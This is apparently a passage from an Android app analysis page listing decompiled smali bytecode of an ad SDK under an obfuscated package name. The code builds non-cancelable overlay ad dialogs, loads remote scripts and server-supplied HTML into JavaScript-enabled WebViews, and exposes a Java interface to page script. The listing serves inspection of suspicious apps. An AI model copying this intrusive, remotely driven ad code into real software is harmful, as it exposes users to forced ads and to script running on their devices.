74 | invoke-virtual {v7, v13}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
75 | move-result-object v1 | |
76 | goto/16 :goto_24 | |
77 | cond_61: | |
78 | const-string v13, "error" | |
80 | invoke-virtual {v7, v13}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z |
|
81 | move-result v4 | |
82 | goto/16 :goto_2d | |
83 | cond_68: | |
84 | const-string v13, "data" | |
86 | invoke-virtual {v7, v13}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
87 | move-result-object v2 | |
88 | goto/16 :goto_43 | |
89 | cond_6f: new-instance v8, Lorg/json/JSONObject; | |
91 | invoke-direct {v8, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
93 | const-string v13, "tag" | |
95 | invoke-virtual {v8, v13}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
96 | move-result-object v11 | |
98 | const-string v13, "height" | |
100 | invoke-virtual {v8, v13}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
101 | move-result v5 | |
103 | const-string v13, "width" | |
105 | invoke-virtual {v8, v13}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
106 | move-result v12 | |
108 | const-string v13, "api_url" | |
110 | invoke-virtual {v8, v13}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
111 | move-result-object v6 | |
113 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setAdtype(Ljava/lang/String;)V | |
115 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setApiUrl(Ljava/lang/String;)V | |
117 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setError(Z)V | |
119 | invoke-static {v12}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setWidth(I)V | |
121 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setHeight(I)V | |
123 | invoke-static {v11}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setTag(Ljava/lang/String;)V | |
125 | const-string v13, "OLAU" | |
127 | invoke-virtual {v1, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
128 | move-result v13 | |
129 | if-nez v13, :cond_be | |
131 | const-string v13, "DAU" | |
133 | invoke-virtual {v1, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
134 | move-result v13 | |
135 | if-nez v13, :cond_be | |
137 | const-string v13, "DCC" | |
139 | invoke-virtual {v1, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
140 | move-result v13 | |
141 | if-nez v13, :cond_be | |
143 | const-string v13, "DCM" | |
145 | invoke-virtual {v1, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
146 | move-result v13 | |
147 | if-eqz v13, :cond_db | |
148 | cond_be: new-instance v13, Ljava/lang/Thread; | |
149 | new-instance v14, Lcom/vxjxu/jkhfn1870/AirPlay$8; | |
150 | move-object/from16 v0, p0 | |
152 | invoke-direct {v14, v0, v1}, Lcom/vxjxu/jkhfn1870/AirPlay$8;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;Ljava/lang/String;)V | |
154 | const-string v15, "overlay_showing" | |
156 | invoke-direct {v13, v14, v15}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
158 | invoke-virtual {v13}, Ljava/lang/Thread;->start()V | |
159 | try_end_cf: goto/16 :goto_4b | |
160 | catch_d1: move-exception v3 | |
162 | const-string v13, "AirplaySDK" | |
164 | const-string v14, "Error occurred in overlay ad" | |
166 | invoke-static {v13, v14, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
167 | goto/16 :goto_4b | |
168 | cond_db: | |
169 | const-string v13, "AirplaySDK" | |
170 | new-instance v14, Ljava/lang/StringBuilder; | |
172 | invoke-direct {v14}, Ljava/lang/StringBuilder;-><init>()V | |
174 | const-string v15, "Invalid adtype delivered in overylay ad " | |
176 | invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
177 | move-result-object v14 | |
179 | invoke-virtual {v14, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
180 | move-result-object v14 | |
182 | invoke-virtual {v14}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
183 | move-result-object v14 | |
185 | invoke-static {v13, v14}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I |
|
186 | goto/16 :goto_4b | |
187 | cond_f5: | |
188 | invoke-static {v10, v9}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
189 | try_end_f8: goto/16 :goto_4b |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .prologue | |
2 | const/4 v5, 0x0 | |
4 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
5 | move-result-object v0 | |
7 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->getDoc(Landroid/content/Context;)Ljava/lang/String; | |
8 | move-result-object v0 | |
10 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V | |
11 | if-eqz p1, :cond_55 | |
13 | const-string v0, ".js" | |
15 | invoke-virtual {p1, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z |
|
16 | move-result v0 | |
17 | if-eqz v0, :cond_55 | |
19 | const-string v0, "/" | |
21 | invoke-virtual {p1, v0}, Ljava/lang/String;->lastIndexOf(Ljava/lang/String;)I |
|
22 | move-result v11 | |
24 | invoke-virtual {p1}, Ljava/lang/String;->length()I | |
25 | move-result v0 | |
26 | add-int/lit8 v0, v0, -0x1 | |
28 | invoke-virtual {p1, v11, v0}, Ljava/lang/String;->substring(II)Ljava/lang/String; | |
29 | move-result-object v10 | |
30 | const/4 v0, 0x0 | |
31 | add-int/lit8 v2, v11, -0x1 | |
33 | invoke-virtual {p1, v0, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String; |
|
34 | move-result-object v1 | |
35 | new-instance v0, Ljava/lang/StringBuilder; | |
37 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
39 | const-string v2, "<html><head><script type=\"text/javascript\" src=\"" | |
41 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
42 | move-result-object v0 | |
44 | invoke-virtual {v0, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
45 | move-result-object v0 | |
47 | const-string v2, "\"/>" | |
49 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
50 | move-result-object v0 | |
52 | const-string v2, "</head><body></body></html>" | |
54 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
55 | move-result-object v0 | |
57 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
58 | move-result-object v2 | |
60 | const-string v3, "text/html" | |
62 | const-string v4, "utf-8" | |
63 | move-object v0, p0 | |
65 | invoke-virtual/range {v0 .. v5}, Lcom/vxjxu/jkhfn1870/MraidView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V |
|
66 | goto_54: return-void | |
67 | cond_55: | |
68 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
70 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript()Z | |
71 | move-result v0 | |
72 | if-eqz v0, :cond_8b | |
74 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
76 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String; | |
77 | move-result-object v0 | |
78 | if-eqz v0, :cond_83 | |
80 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
82 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String; | |
83 | move-result-object v0 | |
85 | const-string v2, "" | |
87 | invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
88 | move-result v0 | |
89 | if-nez v0, :cond_83 | |
91 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
93 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String; | |
94 | move-result-object v6 | |
96 | const-string v7, "text/html" | |
98 | const-string v8, "utf-8" | |
99 | move-object v4, p0 | |
100 | move-object v9, v5 | |
102 | invoke-virtual/range {v4 .. v9}, Lcom/vxjxu/jkhfn1870/MraidView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V |
|
103 | goto/16 :goto_54 | |
104 | cond_83: | |
105 | const-string v0, "AirplayMraid" | |
107 | const-string v2, "Tag data is null" | |
109 | invoke-static {v0, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
110 | goto/16 :goto_54 | |
111 | cond_8b: | |
112 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
114 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd()Z | |
115 | move-result v0 | |
116 | if-eqz v0, :cond_e2 | |
118 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
120 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String; | |
121 | move-result-object v0 | |
122 | if-eqz v0, :cond_d9 | |
124 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
126 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String; | |
127 | move-result-object v0 | |
129 | const-string v2, "" | |
131 | invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
132 | move-result v0 | |
133 | if-nez v0, :cond_d9 | |
134 | new-instance v0, Ljava/lang/StringBuilder; | |
136 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
138 | const-string v2, "<html><head><script type=\"text/javascript\" src=\"" | |
140 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
141 | move-result-object v0 | |
143 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
145 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String; | |
146 | move-result-object v2 | |
148 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
149 | move-result-object v0 | |
151 | const-string v2, "\"/>" | |
153 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
154 | move-result-object v0 | |
156 | const-string v2, "</head><body></body></html>" | |
158 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
159 | move-result-object v0 | |
161 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
162 | move-result-object v6 | |
164 | const-string v7, "text/html" | |
166 | const-string v8, "utf-8" | |
167 | move-object v4, p0 | |
168 | move-object v9, v5 | |
170 | invoke-virtual/range {v4 .. v9}, Lcom/vxjxu/jkhfn1870/MraidView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V |
|
171 | goto/16 :goto_54 | |
172 | cond_d9: | |
173 | const-string v0, "AirplayMraid" | |
175 | const-string v2, "Tag data is null" | |
177 | invoke-static {v0, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
178 | goto/16 :goto_54 | |
179 | cond_e2: | |
180 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
182 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd()Z | |
183 | move-result v0 | |
184 | if-eqz v0, :cond_133 | |
186 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
188 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String; | |
189 | move-result-object v0 | |
190 | if-eqz v0, :cond_12a | |
192 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
194 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String; | |
195 | move-result-object v0 | |
197 | const-string v2, "" | |
199 | invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
200 | move-result v0 | |
201 | if-nez v0, :cond_12a | |
202 | new-instance v0, Ljava/lang/StringBuilder; | |
204 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
206 | const-string v2, "<html><head></head><body>" | |
208 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
209 | move-result-object v0 | |
211 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
213 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getTag()Ljava/lang/String; | |
214 | move-result-object v2 | |
216 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
217 | move-result-object v0 | |
219 | const-string v2, "</body></html>" | |
221 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
222 | move-result-object v0 | |
224 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
225 | move-result-object v6 | |
227 | const-string v7, "text/html" | |
229 | const-string v8, "utf-8" | |
230 | move-object v4, p0 | |
231 | move-object v9, v5 | |
233 | invoke-virtual/range {v4 .. v9}, Lcom/vxjxu/jkhfn1870/MraidView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V |
|
234 | goto/16 :goto_54 | |
235 | cond_12a: | |
236 | const-string v0, "AirplayMraid" | |
238 | const-string v2, "tag data is null" | |
240 | invoke-static {v0, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
241 | goto/16 :goto_54 | |
242 | cond_133: if-eqz p1, :cond_142 | |
244 | const-string v0, "" | |
246 | invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
247 | move-result v0 | |
248 | if-nez v0, :cond_142 | |
250 | invoke-virtual {p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView;->loadUrl(Ljava/lang/String;)V | |
251 | goto/16 :goto_54 | |
252 | cond_142: | |
253 | const-string v0, "AirplayMraid" | |
254 | new-instance v2, Ljava/lang/StringBuilder; | |
256 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
258 | const-string v3, "Invalid url: " | |
260 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
261 | move-result-object v2 | |
263 | invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
264 | move-result-object v2 | |
266 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
267 | move-result-object v2 | |
269 | invoke-static {v0, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
270 | goto/16 :goto_54 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "context" # Landroid/app/Activity; | |
1 | .annotation build Landroid/annotation/SuppressLint; | |
2 | value = { | |
3 | "SetJavaScriptEnabled" | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
7 | const/4 v1, 0x0 | |
9 | invoke-direct {p0, p1}, Landroid/app/Dialog;-><init>(Landroid/content/Context;)V | |
11 | const-string v0, "AirplaySDK" | |
12 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->TAG:Ljava/lang/String; | |
14 | const-string v0, "23" | |
15 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_overlay_push:Ljava/lang/String; | |
17 | const-string v0, "24" | |
18 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_overlay_click:Ljava/lang/String; | |
20 | const-string v0, "25" | |
21 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_overlay_click_no:Ljava/lang/String; | |
23 | const-string v0, "43" | |
24 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_dialog_push:Ljava/lang/String; | |
26 | const-string v0, "44" | |
27 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_dialog_click_yes:Ljava/lang/String; | |
29 | const-string v0, "45" | |
30 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_dialog_click_no:Ljava/lang/String; | |
32 | const-string v0, "184" | |
33 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_dialog_error:Ljava/lang/String; | |
35 | const-string v0, "183" | |
36 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->event_overlay_error:Ljava/lang/String; | |
37 | iput-boolean v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->errorInLoading:Z | |
38 | iput-boolean v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->isCliked:Z | |
39 | new-instance v0, Lcom/vxjxu/jkhfn1870/OverlayAd$2; | |
41 | invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/OverlayAd$2;-><init>(Lcom/vxjxu/jkhfn1870/OverlayAd;)V | |
42 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->onTouchListener:Landroid/view/View$OnTouchListener; | |
43 | try_start_33: iput-object p1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity; | |
44 | const/4 v0, 0x1 | |
46 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->requestWindowFeature(I)Z |
|
48 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->getWindow()Landroid/view/Window; | |
49 | move-result-object v0 | |
50 | new-instance v1, Landroid/graphics/drawable/ColorDrawable; | |
51 | const/4 v2, 0x0 | |
53 | invoke-direct {v1, v2}, Landroid/graphics/drawable/ColorDrawable;-><init>(I)V |
|
55 | invoke-virtual {v0, v1}, Landroid/view/Window;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V | |
56 | const/4 v0, 0x0 | |
58 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setCancelable(Z)V |
|
59 | const/4 v0, 0x0 | |
61 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setCanceledOnTouchOutside(Z)V |
|
63 | invoke-virtual {p0, p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setOnCancelListener(Landroid/content/DialogInterface$OnCancelListener;)V | |
65 | invoke-virtual {p0, p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setOnDismissListener(Landroid/content/DialogInterface$OnDismissListener;)V | |
67 | invoke-virtual {p1}, Landroid/app/Activity;->getResources()Landroid/content/res/Resources; | |
68 | move-result-object v0 | |
70 | invoke-virtual {v0}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics; | |
71 | move-result-object v0 | |
72 | iget v9, v0, Landroid/util/DisplayMetrics;->density:F | |
73 | new-instance v7, Landroid/widget/RelativeLayout; | |
75 | invoke-direct {v7, p1}, Landroid/widget/RelativeLayout;-><init>(Landroid/content/Context;)V | |
76 | const/16 v0, 0x4c | |
78 | invoke-virtual {v7, v0}, Landroid/widget/RelativeLayout;->setId(I)V |
|
79 | new-instance v8, Landroid/widget/RelativeLayout$LayoutParams; | |
80 | const/4 v0, -0x2 | |
81 | const/4 v1, -0x2 | |
83 | invoke-direct {v8, v0, v1}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V | |
84 | const/16 v0, 0xd | |
86 | invoke-virtual {v8, v0}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(I)V |
|
88 | invoke-virtual {v7, v8}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
89 | new-instance v0, Landroid/webkit/WebView; | |
91 | invoke-direct {v0, p1}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V | |
92 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
94 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
95 | const/16 v1, 0x36 | |
97 | invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setId(I)V |
|
99 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
101 | invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings; | |
102 | move-result-object v0 | |
103 | const/4 v1, 0x1 | |
105 | invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V |
|
107 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
108 | new-instance v1, Landroid/webkit/WebChromeClient; | |
110 | invoke-direct {v1}, Landroid/webkit/WebChromeClient;-><init>()V | |
112 | invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setWebChromeClient(Landroid/webkit/WebChromeClient;)V | |
114 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
115 | const/4 v1, 0x0 | |
117 | invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setHorizontalScrollBarEnabled(Z)V |
|
119 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
120 | const/4 v1, 0x0 | |
122 | invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setVerticalScrollBarEnabled(Z)V |
|
124 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
126 | invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings; | |
127 | move-result-object v0 | |
128 | const/4 v1, -0x1 | |
130 | invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setCacheMode(I)V | |
132 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
133 | const/4 v1, 0x0 | |
135 | invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setBackgroundColor(I)V |
|
137 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
138 | const/high16 v1, 0x2000000 | |
140 | invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setScrollBarStyle(I)V |
|
142 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
143 | new-instance v1, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface; | |
144 | const/4 v2, 0x0 | |
146 | invoke-direct {v1, p0, v2}, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;-><init>(Lcom/vxjxu/jkhfn1870/OverlayAd;Lcom/vxjxu/jkhfn1870/OverlayAd$1;)V | |
148 | const-string v2, "Overlay" | |
150 | invoke-virtual {v0, v1, v2}, Landroid/webkit/WebView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V |
|
152 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
154 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->onTouchListener:Landroid/view/View$OnTouchListener; | |
156 | invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setOnTouchListener(Landroid/view/View$OnTouchListener;)V | |
158 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
159 | new-instance v1, Lcom/vxjxu/jkhfn1870/OverlayAd$1; | |
161 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/OverlayAd$1;-><init>(Lcom/vxjxu/jkhfn1870/OverlayAd;)V | |
163 | invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V | |
165 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
166 | const/4 v1, 0x0 | |
168 | sget-object v2, Lcom/vxjxu/jkhfn1870/OverlayAd;->tag:Ljava/lang/String; | |
170 | const-string v3, "text/html" | |
172 | const-string v4, "UTF-8" | |
173 | const/4 v5, 0x0 | |
175 | invoke-virtual/range {v0 .. v5}, Landroid/webkit/WebView;->loadDataWithBaseURL(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V |
|
176 | new-instance v10, Landroid/widget/RelativeLayout$LayoutParams; | |
177 | sget v0, Lcom/vxjxu/jkhfn1870/OverlayAd;->width:I | |
178 | sget v1, Lcom/vxjxu/jkhfn1870/OverlayAd;->height:I | |
180 | invoke-direct {v10, v0, v1}, Landroid/widget/RelativeLayout$LayoutParams;-><init>(II)V | |
181 | const/16 v0, 0xd | |
183 | invoke-virtual {v10, v0}, Landroid/widget/RelativeLayout$LayoutParams;->addRule(I)V |
|
185 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
187 | invoke-virtual {v0, v10}, Landroid/webkit/WebView;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V | |
189 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->webView:Landroid/webkit/WebView; | |
191 | invoke-virtual {v7, v0}, Landroid/widget/RelativeLayout;->addView(Landroid/view/View;)V | |
193 | invoke-virtual {p0, v7}, Lcom/vxjxu/jkhfn1870/OverlayAd;->setContentView(Landroid/view/View;)V | |
194 | goto_102: return-void | |
195 | catch_103: move-exception v6 | |
197 | const-string v0, "AirplaySDK" | |
199 | const-string v1, "An error occured while starting Overlay Ad." | |
201 | invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
202 | try_start_10b: | |
203 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V | |
205 | invoke-virtual {p1}, Landroid/app/Activity;->finish()V | |
206 | try_end_111: goto/16 :goto_102 | |
207 | catch_112: move-exception v0 | |
208 | goto/16 :goto_102 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v8, 0x1 | |
3 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
5 | invoke-static {v0, v8}, Lcom/vxjxu/jkhfn1870/AdView;->access$102(Lcom/vxjxu/jkhfn1870/AdView;Z)Z |
|
7 | const-string v5, "" | |
9 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
11 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String; | |
12 | move-result-object v0 | |
13 | if-eqz v0, :cond_c1 | |
